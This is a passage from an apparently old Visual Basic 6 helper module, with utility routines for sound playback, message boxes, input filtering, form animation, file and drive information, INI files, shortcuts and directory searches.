String)\n'\n'Usage:\n' MidiPlay \"Test.mid\"\n'\nOpenMidi NamePath\nPlayMidi\nEnd Sub\nSub OpenMidi(sfile As String)\n'\n'Used by MidiPlay SUB\n'\nDim sShortFile As String * 67\nDim lResult As Long\nDim sError As String * 255\nlResult = GetShortPathName(sfile, sShortFile, Len(sShortFile))\nsfile = Left(sShortFile, lResult)\nlResult = mciSendString(\"open \" & sfile & \" type sequencer alias mcitest\", ByVal 0&, 0, 0)\nIf lResult Then\nlResult = mciGetErrorString(lResult, sError, 255)\nDebug.Print \"open: \" & sError\nEnd If\nEnd Sub\nSub PlayMidi()\n'\n'Used by MidiPlay SUB\n'\nDim lResult As Integer\nDim sError As String * 255\nlResult = mciSendString(\"play mcitest\", ByVal 0&, 0, 0)\nIf lResult Then\nlResult = mciGetErrorString(lResult, sError, 255)\nDebug.Print \"play: \" & sError\nEnd If\nEnd Sub\nSub StopMidi()\n'\n'Usage:\n' StopMidi 'Stop Any Midi File Playing\n'\nDim lResult As Integer\nDim sError As String * 255\nlResult = mciSendString(\"close mcitest\", \"\", 0&, 0&)\nIf lResult Then\nlResult = mciGetErrorString(lResult, sError, 255)\nDebug.Print \"stop: \" & sError\nEnd If\nEnd Sub\nSub Timeout(duration)\n'\n'Usage:\n' Timeout (1)\n'\nStartTime = Timer\nDo While Timer - StartTime < duration\nDoEvents\nLoop\nEnd Sub\nSub MsgBx()\n'\n'Usage:\n' Msg = \"Test Message\"\n' MsgBx\n'\nIf Msg = \"\" Then\nMsg = \"NO MESSAGE TO DISPLAY\"\nEnd If\nMsgBox Msg, vbOKOnly, title\nEnd Sub\nSub YN_Msgbox()\n'\n'Usage:\n' Title = \"Test Title\"\n' Msg = \"Quit?\"\n' YN_Msgbox\n' If Word = \"Y\" then\n' Msgbox \"Yes!\"\n' End if\n' If Word = \"N\" then\n' Msgbox \"No!\"\n' End if\n'\nDim style, CTXT, HELP, Response\nWord = \"\"\nstyle = vbYesNo + vbDefaultButton2\nCTXT = 1000\nResponse = MsgBox(Msg, style, title, HELP, CTXT)\nIf Response = vbYes Then\n Word = \"Y\"\nElse\n Word = \"N\"\nEnd If\nEnd Sub\nPublic Sub PlayWav(SFileName As String, Optional Mode)\n'\n'Usage:\n' PlayWav \"test.wav\",1 'Plays Wav With Out Delay.\n' PlayWav \"test.wav\",2 'Plays Wav With Delay.\n'\n Dim lReturn As Long\n On Error GoTo ErrorHandleFile\n If IsMissing(Mode) Then Mode = SND_ASYNC Or SND_NODEFAULT\n If (Mode And SND_ALIAS) <> SND_ALIAS Then\n If Len(Dir(Trim$(SFileName))) = 0 Then\n Exit Sub\n End If\n End If\n lReturn = sndPlaySound(SFileName, Mode)\nErrorHandleFile:\nEnd Sub\nSub StayOnTop(the As Form)\n'\n'Usage:\n' StayOnTop Form1\n'\nDim SetWinOnTop%\nSetWinOnTop = SetWindowPos(the.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)\nEnd Sub\nSub NumRND(NMBR As Long)\n'\n'Usage:\n' NumRND 999999999 'Nine Number Max.\n' Msgbox Dat\n'\nRandomize\nDat = Int(NMBR * Rnd)\nEnd Sub\nSub NumTextOnly(KeyR)\n'\n'Usage:\n' NumTextOnly KeyAscii 'Place This Code In The TextBox_KeyPressed Sub\n'\nConst numbers$ = \"0123456789\"\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\nSub NumTextOnlyWithDash(KeyR)\n'\n'Usage:\n' NumTextOnlyWithDash KeyAscii 'Place This Code In The TextBox_KeyPressed Sub\n'\nConst numbers$ = \"0123456789-\"\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\nSub NumTextOnlyWithDOT(KeyR, DataText As textBox)\n'\n'Usage:\n' NumTextOnlyWithDOT KeyAscii, text1 'Place This Code In The TextBox_KeyPressed Sub\n'\nDim a, b, c, USEdot\nUSEdot = True\nIf FirstLoad = True Then Exit Sub\na = Len(DataText)\nb = 1\nDo Until b = a\nIf b > a Then Exit Sub\nc = Mid$(DataText, b, 1)\nIf c = \".\" Then\nUSEdot = False\nEnd If\nb = b + 1\nLoop\nConst numbers$ = \"0123456789.\"\n'If USEdot = False Then\n'numbers$ = \"0123456789\"\n'Else\n'numbers$ = \"0123456789.\"\n'End If\n\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\n\nSub FormRunLeft(the As Form)\n'\n'Usage:\n' FormRunLeft Form1\n'\nDim counter\ncounter = the.Left\nDo: DoEvents\n counter = counter + 100\n the.Left = counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunRight(the As Form)\n'\n'Usage:\n' FormRunRight Form1\n'\nDim counter\ncounter = the.Left\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunDown(the As Form)\n'\n'Usage:\n' FormRunDown Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Top = counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunUp(the As Form)\n'\n'Usage:\n' FormRunUp Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Top = the.Top - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunLeftUp(the As Form)\n'\n'Usage:\n' FormRunLeftUp Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left - counter\n the.Top = the.Top - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunRightUp(the As Form)\n'\n'Usage:\n' FormRunRightUp Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left + counter\n the.Top = the.Top - counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub FormRunRightDown(the As Form)\n'\n'Usage:\n' FormRunRightDown Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left + counter\n the.Top = the.Top + counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\n\nSub FormRunLeftDown(the As Form)\n'\n'Usage:\n' FormRunLeftDown Form1\n'\nDim counter\ncounter = the.Top\nDo: DoEvents\n counter = counter + 100\n the.Left = the.Left - counter\n the.Top = the.Top + counter\nLoop Until counter >= Screen.Width + the.Width\nEnd Sub\nSub LimitText(KeyR, LimitDat)\n'\n'Usage:\n' LimitText KeyAscii, \"ABC.1\" 'Place This Code In The TextBox_KeyPressed Sub\n'\n ' Const\n Dim numbers$\n numbers$ = LimitDat\n\n If KeyR <> 8 Then\n\n If InStr(numbers, Chr(KeyR)) = 0 Then\n KeyR = 0\n Exit Sub\n End If\n End If\nEnd Sub\nSub WebLink(WeBLnk)\n'\n'Usage:\n'\nDim WL, nResult\nWL = \"start.exe \" & WeBLnk\nnResult = Shell(WL, vbHide)\nEnd Sub\n\nPublic Sub ExecCmd(cmdline$)\n'\n' Shell the Application then\n' Wait for the shelled application\n' to finish.\n'\n'Usage:\n' ExecCmd \"calc.exe\"\n'\n Dim proc As PROCESS_INFORMATION\n Dim start As STARTUPINFO\n Dim Ret&\n start.cb = Len(start)\n Ret& = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)\n ' Wait for the shelled application to finish:\n Ret& = WaitForSingleObject(proc.hProcess, INFINITE)\n Ret& = CloseHandle(proc.hProcess)\nEnd Sub\n\nSub DirSize(DirChk)\n'\n'Usage:\n' DirSize \"c:\\windows\"\n' Msg = \"Total bytes used = \" + DirChkSize\n' MsgBx\n'\nDim FileName As String\nDim FileSize As Currency\nDim Directory As String\nIf Len(DirChk) = 3 Then\nDirectory = DirChk\nElse\nDirectory = DirChk & \"\\\"\nEnd If\nFileName = Dir$(Directory & \"*.*\")\nFileSize = 0\nDo While FileName <> \"\"\nFileSize = FileSize + FileLen(Directory & FileName)\nFileName = Dir$\nLoop\nDirChkSize = Str$(FileSize)\nEnd Sub\nSub SupportSound()\n'\n'Usage:\n' SupportSound\n'\n'Return Value Supsound>> True = Yes - False = No\n'\n Dim i As Integer\n i = waveOutGetNumDevs()\n If i > 0 Then\n SupSound = True\n Else\n SupSound = False\n End If\nEnd Sub\n\nFunction WindowsSysDir() As String\n'\n'Usage:\n' WindowsSysDir\n' Msg = VBSysDir\n' msgbx\n'\n Dim Gwdvar As String, Gwdvar_Length As Integer\n Gwdvar = Space(255)\n Gwdvar_Length = GetSystemDirectory(Gwdvar, 255)\n VBSysDir = Left(Gwdvar, Gwdvar_Length)\nEnd Function\n\nPublic Function AddBackslash(s As String) As String\n'\n'Used By Other Sub's\n'\n If Len(s) > 0 Then\n If Right$(s, 1) <> \"\\\" Then\n AddBackslash = s + \"\\\"\n Else\n AddBackslash = s\n End If\n Else\n AddBackslash = \"\\\"\n End If\nEnd Function\n \nPublic Function RemoveBackslash(s As String) As String\n'\n'Used By Other Sub's\n'\n Dim i As Integer\n i = Len(s)\n If i <> 0 Then\n If Right$(s, 1) = \"\\\" Then\n RemoveBackslash = Left$(s, i - 1)\n Else\n RemoveBackslash = s\n End If\n Else\n RemoveBackslash = \"\"\n End If\nEnd Function\n \nPublic Function GetWindowsDirectory() As String\n'\n'Usage:\n' GetWindowsDirectory\n' Msgbox GetWinDir\n'\n Dim s As String\n Dim i As Integer\n i = GetWindowsDirectoryA(\"\", 0)\n s = Space(i)\n Call GetWindowsDirectoryA(s, i)\n GetWinDir = AddBackslash(Left$(s, i - 1))\nEnd Function\n\nPublic Function FileExists(ByVal strPathName As String) As Integer\n'\n'Usage:\n' FileExists \"c:\\test.exe\"\n' MsgBox IsFileThere\n'\n Dim intFileNum As Integer\n On Error Resume Next\n If Right$(strPathName, 1) = \"\\\" Then\n strPathName = Left$(strPathName, Len(strPathName) - 1)\n End If\n intFileNum = FreeFile\n Open strPathName For Input As intFileNum\n IsFileThere = IIf(Err, False, True)\n \n Close intFileNum\n Err = 0\nEnd Function\nPublic Function GetPath(s As String) As String\n'\n'Usage:\n' GetPath \"c:\\t.bat\"\n' MsgBox FlPath\n'\n Dim i As Integer\n Dim J As Integer\n \n i = 0\n J = 0\n \n i = InStr(s, \"\\\")\n Do While i <> 0\n J = i\n i = InStr(J + 1, s, \"\\\")\n Loop\n \n If J = 0 Then\n FlPath = \"\"\n Else\n FlPath = Left$(s, J)\n End If\nEnd Function\nPublic Function GetFile(s As String) As String\n'\n'Usage:\n' GetFile \"c:\\t.bat\"\n' MsgBox FlName\n'\n Dim i As Integer\n Dim J As Integer\n \n i = 0\n J = 0\n \n i = InStr(s, \"\\\")\n Do While i <> 0\n J = i\n i = InStr(J + 1, s, \"\\\")\n Loop\n \n If J = 0 Then\n FlName = \"\"\n Else\n FlName = Right$(s, Len(s) - J)\n End If\nEnd Function\n\n\nPublic Function sDriveType(sDrive As String) As String\n'\n'Usage:\n' sDriveType \"c\"\n' MsgBox sDType\n'\nDim lRet As Long\n lRet = GetDriveTypeA(sDrive & \":\\\")\n Select Case lRet\n Case 0\n sDType = \"Unknown\"\n \n Case 1\n sDType = \"Drive Not Found\"\n Case DRIVE_CDROM:\n sDType = \"CD-ROM Drive\"\n \n Case DRIVE_REMOVABLE:\n sDType = \"Removable Drive\"\n \n Case DRIVE_FIXED:\n sDType = \"Fixed Drive\"\n \n Case DRIVE_REMOTE:\n sDType = \"Remote Drive\"\n End Select\nEnd Function\nPublic Function ShellDelete(ParamArray vntFileName() As Variant) As Boolean\n'\n'Usage:\n' ShellDelete \"c:\\test.exe\"\n'\n Dim i As Integer\n Dim sFileNames As String\n Dim SHFileOp As SHFILEOPSTRUCT\n For i = LBound(vntFileName) To UBound(vntFileName)\n sFileNames = sFileNames & vntFileName(i) & vbNullChar\n Next\n \n sFileNames = sFileNames & vbNullChar\n With SHFileOp\n .wFunc = FO_DELETE\n .pFrom = sFileNames\n .fFlags = FOF_ALLOWUNDO + FOF_SILENT + FOF_NOCONFIRMATION\n End With\n i = SHFileOperation(SHFileOp)\n \n If i = 0 Then\n DelConFirm = True\n Else\n DelConFirm = False\n End If\nEnd Function\nPublic Sub ShadeForm(f As Form, Optional StartColor As Variant, Optional Fstep As Variant, Optional Cstep As Variant)\n'\n'Colors:\n' vbBlack\n' vbRed\n' vbGreen\n' vbYellow\n' vbBlue\n' vbMagenta\n' vbCyan\n' vbWhite\n'\n' StartColor is what color to start with.\n' (Default = vbBlue)\n'\n' Fstep is the number of steps to use to fill the form.\n' (Default = 64)\n'\n' Cstep is the color step (change in color per step).\n' (Default = 4)\n'\n'Usage:\n' ShadeForm StartUp, vbRed, 64, 4\n'\n Dim FillStep As Single\n Dim c As Long\n Dim FillArea As RECT\n Dim i As Integer\n Dim oldm As Integer\n Dim hBrush As Long\n Dim C2(1 To 3) As Long\n Dim cs2(1 To 3) As Long\n Dim fs As Long\n Dim cs As Integer\n \n fs = IIf(IsMissing(Fstep), 64, CLng(Fstep))\n cs = IIf(IsMissing(Cstep), 4, CInt(Cstep))\n c = IIf(IsMissing(StartColor), vbBlue, CLng(StartColor))\n \n \n oldm = f.ScaleMode\n f.ScaleMode = vbPixels\n FillStep = f.ScaleHeight / fs\n FillArea.Left = 0\n FillArea.Right = f.ScaleWidth\n FillArea.Top = 0\n C2(1) = c And 255#\n cs2(1) = IIf(C2(1) > 0, cs, 0)\n C2(2) = (c \\ 256#) And 255#\n cs2(2) = IIf(C2(2) > 0, cs, 0)\n C2(3) = (c \\ 65536#) And 255#\n cs2(3) = IIf(C2(3) > 0, cs, 0)\n \n \n For i = 1 To fs\n FillArea.Bottom = FillStep * i\n hBrush = CreateSolidBrush(RGB(C2(1), C2(2), C2(3)))\n FillRect f.hdc, FillArea, hBrush\n DeleteObject hBrush\n \n C2(1) = (C2(1) - cs2(1)) And 255#\n C2(2) = (C2(2) - cs2(2)) And 255#\n C2(3) = (C2(3) - cs2(3)) And 255#\n \n FillArea.Top = FillArea.Bottom\n Next i\n \n f.ScaleMode = oldm\nEnd Sub\nPublic Sub HideMouse()\n'\n'Usage:\n' HideMouse\n'\n Dim result As Integer\n \n Do\n lShowCursor = lShowCursor - 1\n result = ShowCursor(False)\n Loop Until result < 0\n \nEnd Sub\nPublic Sub ShowMouse()\n'\n'Usage:\n' ShowMouse\n'\n If lShowCursor > 0 Then\n Do While lShowCursor <> 0\n ShowCursor (False)\n lShowCursor = lShowCursor - 1\n Loop\n ElseIf lShowCursor < 0 Then\n Do While lShowCursor <> 0\n ShowCursor (True)\n lShowCursor = lShowCursor + 1\n Loop\n End If\nEnd Sub\nPublic Function CanPlaySound() As Integer\n'\n'Usage:\n' CanPlaySound\n' Msgbox Playinfo\n'\n Dim i As Integer\n i = AUDIO_NONE\n \n If waveOutGetNumDevs > 0 Then\n i = AUDIO_WAVE\n End If\n \n If midiOutGetNumDevs > 0 Then\n i = i + AUDIO_MIDI\n End If\n If i = 1 Then Playinfo = \"WAV ONLY\"\n If i = 2 Then Playinfo = \"MID ONLY\"\n If i = 3 Then Playinfo = \"WAV AND MID\"\nEnd Function\nPublic Sub GetBytes(ChkDrive)\n'\n'Usage:\n' GetBytes\n' Msgbox DriveFreeSpace\n'\nDim ApiRes As Long\nDim SectorsPerCluster As Long\nDim BytesPerSector As Long\nDim NumberOfFreeClusters As Long\nDim TotalNumberOfClusters As Long\nDim FreeBytes As Long\nDim drvStr As String\nDim spaceInt As Integer\ndrvStr = ChkDrive\nspaceInt = InStr(drvStr, \" \")\nIf spaceInt > 0 Then drvStr = Left$(drvStr, spaceInt - 1)\nIf Right$(drvStr, 1) <> \"\\\" Then drvStr = drvStr & \"\\\"\nDim NumberOFreeClusters\nApiRes = GetDiskFreeSpace(drvStr, SectorsPerCluster, BytesPerSector, NumberOFreeClusters, TotalNumberOfClusters)\nFreeBytes = NumberOFreeClusters * SectorsPerCluster * BytesPerSector\nDriveFreeSpace = FreeBytes\nEnd Sub\n\nPublic Sub FormatFloppy()\n'\n'Usage:\n' FormatFloppy\n'\nDim sBuffer As String, Windir As String, Procs As String, X\nDim lResult As Long\nDim K\nsBuffer = String$(255, 0)\nlResult = GetWindowDirectory(sBuffer, Len(sBuffer))\nWindir = Trim(sBuffer)\nProcs = Left(Windir, lResult) & \"\\rundll32.exe shell32.dll,SHFormatDrive\"\n Call CenterDialog(\"Format - 3┬╜ Floppy (A:)\")\n X = Shell(Procs, 1)\n Call CenterDialog(\"Format - 3┬╜ Floppy (A:)\")\nK = LockWindowUpdate(0)\nEnd Sub\nPublic Sub CenterDialog(WinText As String)\n'\n'This Sub Is Used By FormatFloppy\n'\nDoEvents\nOn Error Resume Next\nDim D3 As Long\nD3 = LockWindowUpdate(GetDesktopWindow())\nDim wdth%\nDim hght%\nDim Scrwdth%\nDim Scrhght%\nDim lpDlgRect As RECT\nDim lpdskrect As RECT\nDim X%, Y%\nDim hTaskBar As Long\nhTaskBar = FindWindow(0&, WinText)\n Call GetWindowRect(hTaskBar, lpDlgRect)\n wdth% = lpDlgRect.Right - lpDlgRect.Left\n hght% = lpDlgRect.Bottom - lpDlgRect.Top\n Call GetWindowRect(GetDesktopWindow(), lpdskrect)\n Scrwdth% = lpdskrect.Right - lpdskrect.Left\n Scrhght% = lpdskrect.Bottom - lpdskrect.Top\n \n X% = (Scrwdth% - wdth%) / 2\n Y% = (Scrhght% - hght%) / 2\n Call SetWindowPos(hTaskBar, 0, X%, Y%, 0, 0, SWP_NOZORDER Or SWP_NOSIZE)\nDoEvents\nEnd Sub\n\nPublic Sub ChkFileStats(File_Name_To_Chk)\n'\n'Usage:\n' ChkFileStats \"C:\\TEST.EXE\"\n' MsgBox FileInfoName 'File Name Without Path\n' MsgBox FileInfoPathName ' File Name With Path\n' MsgBox FileInfoSize 'File Size\n' MsgBox FileInfoLastModified 'File Last Modified\n' MsgBox FileInfoLastAccessed 'File Last Accessed\n' MsgBox FileInfoAttributeHidden 'File Attribute Hidden? True/False\n' MsgBox FileInfoAttributeSystem 'File Attribute System? True/False\n' MsgBox FileInfoAttributeReadOnly 'File Attribute Read Only? True/False\n' MsgBox FileInfoAttributeArchive 'File Attribute Archive? True/False\n' MsgBox FileInfoAttributeTemporary 'File Attribute Temporary? True/False\n' MsgBox FileInfoAttributeNormal 'File Attribute Normal? True/False\n' MsgBox FileInfoAttributeCompressed 'File Attribute Compressed? True/False\n'\nDim ftime As SYSTEMTIME\nDim tfilename As String\ntfilename = File_Name_To_Chk\nDim filedata As WIN32_FIND_DATA\nfiledata = Findfile(\"c:\\command.com\")\nFileInfoName = UCase$(File_Name_To_Chk)\nFileInfoPathName = UCase$(tfilename)\nGetFile FileInfoName\nFileInfoName = FlName\n\nIf filedata.nFileSizeHigh = 0 Then\n \nFileInfoSize = filedata.nFileSizeLow & \" Bytes\"\nElse\nFileInfoSize = filedata.nFileSizeHigh & \"Bytes\"\nEnd If\nCall FileTimeToSystemTime(filedata.ftCreationTime, ftime)\nCall FileTimeToSystemTime(filedata.ftLastWriteTime, ftime)\nFileInfoLastModified = ftime.wDay & \"/\" & ftime.wMonth & \"/\" & ftime.wYear\nCall FileTimeToSystemTime(filedata.ftLastAccessTime, ftime)\nFileInfoLastAccessed = ftime.wDay & \"/\" & ftime.wMonth & \"/\" & ftime.wYear\n\n\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_HIDDEN) = FILE_ATTRIBUTE_HIDDEN Then\n \nFileInfoAttributeHidden = True\nElse\nFileInfoAttributeHidden = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_SYSTEM) = FILE_ATTRIBUTE_SYSTEM Then\nFileInfoAttributeSystem = True\nElse\nFileInfoAttributeSystem = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_READONLY) = FILE_ATTRIBUTE_READONLY Then\nFileInfoAttributeReadOnly = True\nElse\nFileInfoAttributeReadOnly = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_ARCHIVE) = FILE_ATTRIBUTE_ARCHIVE Then\nFileInfoAttributeArchive = True\nElse\nFileInfoAttributeArchive = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_TEMPORARY) = FILE_ATTRIBUTE_TEMPORARY Then\nFileInfoAttributeTemporary = True\nElse\nFileInfoAttributeTemporary = True\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_NORMAL) = FILE_ATTRIBUTE_NORMAL Then\nFileInfoAttributeNormal = True\nElse\nFileInfoAttributeNormal = False\nEnd If\nIf (filedata.dwFileAttributes And FILE_ATTRIBUTE_COMPRESSED) = FILE_ATTRIBUTE_COMPRESSED Then\nFileInfoAttributeCompressed = True\nElse\nFileInfoAttributeCompressed = False\nEnd If\nEnd Sub\n\nPublic Sub FindDosWin(ByVal WndCap As String)\n'\n'Usage:\n' FindDosWin UCase$(Text11.Text)\n' Msgbox DOSWinActive 'True = DOS Window Is Active \\ False = DOS Window Is Not Active\n'\n Dim hWndFrame As Long\n hWndFrame = FindWindowPartial(WndCap)\n If hWndFrame = 0 Then\n DOSWinActive = False\n Exit Sub\n End If\n DOSWinActive = True\n End Sub\n\n \nSub makeShortCut(sExecutable As String, sShortcut, sArguments, PlaceInWhere)\n'\n'Usage:\n' makeShortCut \"c:\\test.exe\", Testexe, \"\", (DESKTOP or STARTMENU or PATH TO PLACE SHORTCUT)\n'\nOn Error GoTo py\nDim lRet As Integer\nDim DestPth, CreatedPth\nPlaceInWhere = UCase$(PlaceInWhere)\n\nShort_Name sExecutable\nsExecutable = ShortFName\nFileExists sExecutable\nIf IsFileThere = False Then\nMsg = \"ERROR! Short Cut File You Want To Link To Does Not Exists\"\nMsgBx\nExit Sub\nEnd If\nIf PlaceInWhere = \"STARTMENU\" Then\nlRet = fCreateShellLink(\"\", sShortcut, sExecutable, sArguments)\nExit Sub\nEnd If\nGetWindowsDirectory\nIf PlaceInWhere = \"DESKTOP\" Then\nCreatedPth = GetWinDir & \"startm~1\\programs\\\" & sShortcut & \".pif\"\nDestPth = GetWinDir & \"desktop\\\" & sShortcut & \".pif\"\nElse\nCreatedPth = GetWinDir & \"startm~1\\programs\\\" & sShortcut & \".pif\"\nDestPth = PlaceInWhere & sShortcut & \".pif\"\nlRet = fCreateShellLink(\"\", sShortcut, sExecutable, sArguments)\nEnd If\n\n\nIf PlaceInWhere = \"DESKTOP\" Then\nFileExists DestPth\nIf IsFileThere = True Then\nShellDelete DestPth\nEnd If\nlRet = fCreateShellLink(\"\", sShortcut, sExecutable, sArguments)\nEnd If\nName CreatedPth As DestPth\nExit Sub\npy:\n\nEnd Sub\n\nPublic Function Short_Name(Long_Path As String) As String\n'\n'Usage:\n' Short_Name \"C:\\PathNameToProgram\\test.exe\"\n'ShortFname\n Dim Short_Path As String\n Dim Answer As Long\n Short_Path = Space(250)\n Answer = GetShortPathName(Long_Path, Short_Path, Len(Short_Path))\n ShortFName = Left$(Short_Path, Answer)\n\nEnd Function\nPublic Sub TerminateTask(app_name As String)\n'\n'Usage:\n' TerminateTask \"Active WIndow Name You Want To Kill\"\n'\n Target = app_name\n EnumWindows AddressOf EnumCallback, 0\nEnd Sub\n\nPublic Sub WriteINI(FileName As String, Section As String, Key As String, Text As String)\n'\n'Usage:\n' WriteINI \"c:\\test.ini\", \"section name\", \"key name\", \"text data\"\n'\nWritePrivateProfileString Section, Key, Text, FileName\nEnd Sub\nPublic Function ReadINI(FileName As String, Section As String, Key As String)\n'\n'Usage:\n' ReturnINIdat = ReadINI(\"c:\\test.ini\", \"section name\", \"key name\")\n' Msgbox INIFileFound 'True = File Found \\ False = File Found\nDim RetLen\nINIFileFound = True\nFileExists FileName\nIf IsFileThere = False Then\nINIFileFound = False\nExit Function\nEnd If\nRet = Space$(255)\nRetLen = GetPrivateProfileString(Section, Key, \"\", Ret, Len(Ret), FileName)\nRet = Left$(Ret, RetLen)\nReadINI = Ret\nEnd Function\n\nSub GetKeyboardInfo()\nDim r As Long\nDim t As String\nDim K As Long\nDim Q As Long\nK = GetKeyboardType(0)\nIf K = 1 Then t = \"PC or compatible 83-key keyboard\"\nIf K = 2 Then t = \"Olivetti 102-key keyboard\"\nIf K = 3 Then t = \"AT or compatible 84-key keyboard\"\nIf K = 4 Then t = \"Enhanced(IBM) 101-102-key keyboard\"\nIf K = 5 Then t = \"Nokia 1050 keyboard\"\nIf K = 6 Then t = \"Nokia 9140 keyboard\"\nIf K = 7 Then t = \"Japanese keyboard\"\nKeyBoardType = t\nQ = SystemParametersInfo(SPI_GETKEYBOARDDELAY, 0, r, 0)\nKeyBoardRepeatDelay = r\nQ = SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, r, 0)\nKeyBoardRepeatSpeed = r\nKeyBoardCaretFlashSpeed = GetCaretBlinkTime\nEnd Sub\n'here\nSub OpenCD_ROMDoor()\n'\n'Usage:\n' OpenCD_ROMDoor\n'\n'retvalue = mciSendString(\"set CDAudio door open\", returnstring, 127, 0)\nEnd Sub\nSub CloseCD_ROMDoor()\n'\n'Usage:\n' CloseCD_ROMDoor\n'\n'retvalue = mciSendString(\"set CDAudio door closed\", returnstring, 127, 0)\nEnd Sub\n\nSub Search32(dPath$, dpattern$, SFileName)\n'\n'Usage:\n' Search32 \"C:\\\", \"*.WAV\", \"c:\\DIR.TXT\"\n' | | | | | Name Of File To Save Files Found.\n' | Files To Search For Wildcards Can Be Used.\n' Directory To Start Search In. If Path = \"C:\\Windows\" The Search Will Search\n' The Windows Directory Then All It's Sub Directories.\n'\nClose #10\nOpen SFileName For Output As 10\nCall dirloop(dPath$, dpattern$)\nClose #10\nEnd Sub\n\n\nSub dirloop(thispath As String, thispattern As String)\n'\n'Used By Search32\n'\n Dim thisfile, thesefiles, thesedirs, X, checkfile\n If Right$(thispath, 1) <> \"\\\" Then thispath = thispath + \"\\\"\n thisfile = Dir$(thispath + thispattern, 0)\n Do While thisfile <> \"\"\n Print #10, LCase$(thispath + thisfile)\n thisfile = Dir$\n Loop\n \n thisfile = Dir$(thispath + \"*.\", 0)\n thesefiles = 0\n ReDim filelist(10)\n Do While thisfile <> \"\"\n thesefiles = thesefiles + 1\n If (thesefiles Mod 10) = 0 Then\n ReDim Preserve filelist(thesefiles + 10)\n End If\n filelist(thesefiles) = thisfile\n thisfile = Dir$\n Loop\n thisfile = Dir$(thispath + \"*.\", 16)\n checkfile = 1\n thesedirs = 0\n ReDim dirlist(10)\n Do While thisfile <> \"\"\n If thisfile = \".\" Or thisfile = \"..\" Then\n ElseIf thisfile = filelist(checkfile) Then\n checkfile = checkfile + 1\n Else\n thesedirs = thesedirs + 1\n If (thesedirs Mod 10) = 0 Then ReDim Preserve dirlist(thesedirs + 10)\n dirlist(thesedirs) = thisfile\n End If\n thisfile = Dir$\n Loop\n \n For X = 1 To thesedirs\n Call dirloop(thispath + dirlist(X), thispattern): DoEvents\n Next X\nEnd Sub\nSub GetDate()\n'Usage:\n' GetDate\n'\n' CurDate = Current Computer Date\n'\nCurDate = Date\nEnd Sub\n\nSub ClearAllTextBoxes(frmTarget As Form)\n'Usage:\n' ClearAllTextBoxes Form1\n'\nDim i, ctrltarget\n For i = 0 To (frmTarget.Controls.Count - 1)\n Set ctrltarget = frmTarget.Controls(i)\n If TypeOf ctrltarget Is textBox Then\n ctrltarget.Text = \"\"\n End If\n Next i\nEnd Sub\n\nSub GetAPPpath()\nDim X\n X = App.Path\n If Right$(X, 1) <> \"\\\" Then X = X + \"\\\"\n AppPath = UCase$(X)\nEnd Sub\nSub DallorPeriodSet(Tdat As textBox)\n'Usage:\n'\n' DallorPeriodSet Text1\n' msgbox DallorGet\n'\nDim a, b, Mrk1, c, d, C1, C2, C3, C4, C5\nDallorGet = \"0\"\nIf Tdat = \"\" Or Val(Tdat) = 0 Then Exit Sub\nMrk1 = False\na = Len(Tdat.Text) + 1\nb = 1\nd = 0\nDo Until b = a\nc = Mid$(Tdat, b, 1)\nIf c = \".\" Then Mrk1 = True\nIf Mrk1 = True Then d = d + 1\nDBa(b) = c\n\nb = b + 1\nLoop\nd = d - 1\nIf d = 0 Then d = 2\nc = Tdat\n'no period\nIf d = -1 And Mrk1 = False Then\nc = c & \".00\"\nDallorGet = c\nExit Sub\nEnd If\n'over flow 5.00573\nIf d > 2 Then\nDim v\nd = False\nFor b = Len(c) To 1 Step -1\nIf DBa(b) = \".\" Then\nElse\nIf Val(DBa(b)) >= 5 Then\nIf b - 2 <= 0 Then\n'\nElse\nIf DBa(b - 2) = \".\" Then\nd = True\nElse\nIf b - 1 <= 0 Then\n'\nElse\nIf d = False Then DBa(b - 1) = Val(DBa(b - 1)) + 1\nEnd If\nEnd If\nEnd If\nEnd If\nDim t, Y\nY = c\nc = \"\"\nFor t = 1 To Len(Y)\nc = c & DBa(t)\nNext t\nEnd If\nNext b\nDim e, f\na = 1\nb = \"\"\ne = 0\nMrk1 = False\nDo Until a = Len(c) + 1\nd = Mid$(c, a, 1)\nIf d = \".\" Then Mrk1 = True\nIf Mrk1 = False Then f = f & d\nIf Mrk1 = True And e <= 2 Then\nf = f & d\ne = e + 1\nEnd If\na = a + 1\nLoop\nDallorClean f\nf = DallorGet\nDallorGet = f\nExit Sub\nEnd If\nFor b = 1 To d\nc = c & \"0\"\nNext b\nDallorClean c\nc = DallorGet\nDallorGet = c\n\nEnd Sub\nSub DallorClean(DDat)\nOn Error GoTo yu\nDim a, b, c, f, Mrk1\nDallorGet = \"\"\na = 1\nc = 